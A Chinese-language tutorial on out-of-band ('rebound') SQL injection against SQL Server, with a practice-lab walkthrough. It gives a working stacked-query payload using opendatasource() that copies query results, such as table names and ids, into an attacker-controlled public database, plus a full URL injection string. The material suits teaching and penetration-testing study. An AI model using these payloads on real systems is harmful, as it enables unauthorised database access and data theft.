0x00 前言

反弹注入适用于SQL Server数据库,在某些没有回显的情况时使用。与DNS注入相似,反弹注入是让数据库将信息外带出来,将信息插入到我们在公网上创建的数据库中。

0x01 使用条件

1、可以使用opendatasource()函数

2、可以堆叠注入(需要使用insert语句)

0x02 原理

在SQL Server数据库中,可以使用以下语句查询所需信息

查询数据库名:

select name from dbo.sysdatabases

查询当前库中不同类型的表:

select name from dbo.sysobjects where xtype = 'U'

('U'代表用户创建的表)

查询字段名:

select name from dbo.syscolumns where id = 123456 (123456是表的id值)

查询字段内容:

select username,null,null from users

基于以上语法,可以使用反弹注入获取指定信息

反弹注入payload:

insert into opendatasource('sqloledb','server=数据库地址,1433;uid=用户名;pwd=密码;database=数据库名').库名.dbo.表名 SQL语句 --

其中sqloledb是访问的方法。

填入公网数据库的相关信息。当执行完成后,当前数据库就会将 select * from admin 的执行结果插入的对应的数据库中,实现获取信息的目的。

0x03 靶场复现

首先通过order by 判断出字段数为3

反弹注入2.png

反弹注入3.png

接着在公网创建一个数据库:

如数据库名:ftsqli 表名:fantan 新建两个字段:test test1

反弹注入1.png

如查询当前数据库中所有用户创建的表名和该表在数据库中的id值,可以使用

select id,name from dbo.sysobjects where xtype = 'U'

来查询。如

?id=1';insert into opendatasource('sqloledb','server=databasehost,1433;uid=ftsqli;pwd=password;database=ftsqli').ftsqli.dbo.fantan select id,name from dbo.sysobjects where xtype = 'U'--+Q

反弹注入4.png

此时数据库就会查询当前库中所有用户建立的表名,并将表的id和表名插入公网数据库的test和test1字段中

反弹注入5.png
Tips:执行的SQL语句中的字段数和创建的表中的字段数要一致,否则无法插入信息。